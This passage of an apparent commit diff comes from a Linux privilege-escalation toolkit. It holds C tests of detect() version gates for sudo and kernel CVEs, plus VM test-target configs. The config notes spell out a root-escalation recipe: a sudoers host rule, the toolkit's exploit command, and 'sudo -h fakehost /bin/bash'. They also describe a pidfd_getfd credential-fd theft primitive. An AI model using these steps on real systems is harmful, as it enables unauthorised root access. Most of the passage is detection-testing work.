&ptrace_pidfd_module, &h_pidfd_6_12_88,
SKELETONKEY_OK);
/* 7.1.0 is newer than every entry → mainline-inherited fix → OK */
struct skeletonkey_host h_pidfd_7_1_0 =
mk_host(h_kernel_6_12, 7, 1, 0, "7.1.0-test");
run_one("ptrace_pidfd: 7.1.0 above all backports → OK (mainline inherit)",
&ptrace_pidfd_module, &h_pidfd_7_1_0,
SKELETONKEY_OK);
/* ── sudo_host (CVE-2025-32462) ──────────────────────────────
* Version-gated on sudo [1.8.8, 1.9.17p0]; fixed 1.9.17p1.
* Assumes sudo is installed on the runner (as the other sudo_*
* rows do — detect() PRECOND_FAILs without a setuid sudo). */
/* vulnerable sudo 1.8.31 (in range) → VULNERABLE */
run_one("sudo_host: sudo 1.8.31 (in range) → VULNERABLE",
&sudo_host_module, &h_vuln_sudo,
SKELETONKEY_VULNERABLE);
/* fixed sudo 1.9.17p1 → OK (note: 1.9.13p1 is still vulnerable to
* THIS CVE, so h_fixed_sudo can't be reused here) */
struct skeletonkey_host h_sudo_host_fixed = h_kernel_6_12;
strcpy(h_sudo_host_fixed.sudo_version, "1.9.17p1");
run_one("sudo_host: sudo 1.9.17p1 (fixed) → OK",
&sudo_host_module, &h_sudo_host_fixed,
SKELETONKEY_OK);
/* sudo 1.8.6 predates the -h behaviour (< 1.8.8) → OK */
struct skeletonkey_host h_sudo_host_old = h_kernel_6_12;
strcpy(h_sudo_host_old.sudo_version, "1.8.6");
run_one("sudo_host: sudo 1.8.6 (pre-1.8.8) → OK",
&sudo_host_module, &h_sudo_host_old,
SKELETONKEY_OK);
/* sudo 1.9.17 plain (== 1.9.17p0) → VULNERABLE (fix is p1) */
struct skeletonkey_host h_sudo_host_1917 = h_kernel_6_12;
strcpy(h_sudo_host_1917.sudo_version, "1.9.17");
run_one("sudo_host: sudo 1.9.17 (==p0, pre-p1 fix) → VULNERABLE",
&sudo_host_module, &h_sudo_host_1917,
SKELETONKEY_VULNERABLE);
/* ── coverage report ─────────────────────────────────────────
* Iterate the runtime registry (populated by skeletonkey_register_*
* calls in main()) and warn for any module that was not touched
+19
View File
@@ -284,3 +284,22 @@ nft_pipapo:
kernel_version: "5.15.5"
expect_detect: VULNERABLE
notes: "CVE-2024-26581; nft_pipapo destroy-race (Notselwyn II). Same mainline 5.15.5 target as nf_tables works here — 5.15.5 is below the 5.15.149 backport. (Switched from apt-pinned 5.15.0-43 after that package was removed from Ubuntu repos.) Userns gate must be open (sysctl kernel.unprivileged_userns_clone=1)."
# ── ptrace_pidfd (CVE-2026-46333) addition ──────────────────────────
ptrace_pidfd:
box: ubuntu2204
kernel_pkg: ""
mainline_version: "5.15.5" # >5.6 (has pidfd_getfd) and below every fix backport
kernel_version: "5.15.5"
expect_detect: VULNERABLE
notes: "CVE-2026-46333; __ptrace_may_access dumpable-race credential-fd theft via pidfd_getfd. Qualys disclosure 2026-05-20, fixed 2026-05-14 mainline (Debian backports 5.10.251 / 6.1.172 / 6.12.88 / 7.0.7). Mainline 5.15.5 carries the pidfd_getfd vector (added 5.6) and is below every fix backport, so detect() returns VULNERABLE; installed via kernel.ubuntu.com/mainline/v5.15.5/ (same box/kernel as nf_tables / af_unix_gc / nft_pipapo). Brand-new addition this cycle: exploit() fires the real pidfd_getfd steal primitive and reports a captured root-owned fd, but the full target-specific root-pop is not yet VM-verified — sweep pending."
# ── sudo_host (CVE-2025-32462) addition ─────────────────────────────
sudo_host:
box: ubuntu1804 # ships sudo 1.8.21p2 — inside [1.8.8, 1.9.17p0]
kernel_pkg: ""
kernel_version: "4.15.0"
expect_detect: VULNERABLE
notes: "CVE-2025-32462; sudo -h/--host policy bypass (Stratascale, sibling of sudo_chwoot). Ubuntu 18.04 ships sudo 1.8.21p2, inside the vulnerable range [1.8.8, 1.9.17p0] (fixed 1.9.17p1), so detect() returns VULNERABLE on the version gate. Exercising exploit() empirically needs a sudoers rule scoped to a host other than the box hostname (and not ALL): provision e.g. 'vagrant fakehost = (ALL) NOPASSWD: ALL' in /etc/sudoers.d/, then 'SKELETONKEY_SUDO_HOST=fakehost skeletonkey --exploit sudo_host --i-know' pops root via 'sudo -h fakehost /bin/bash'. Brand-new addition this cycle; provisioner + sweep pending."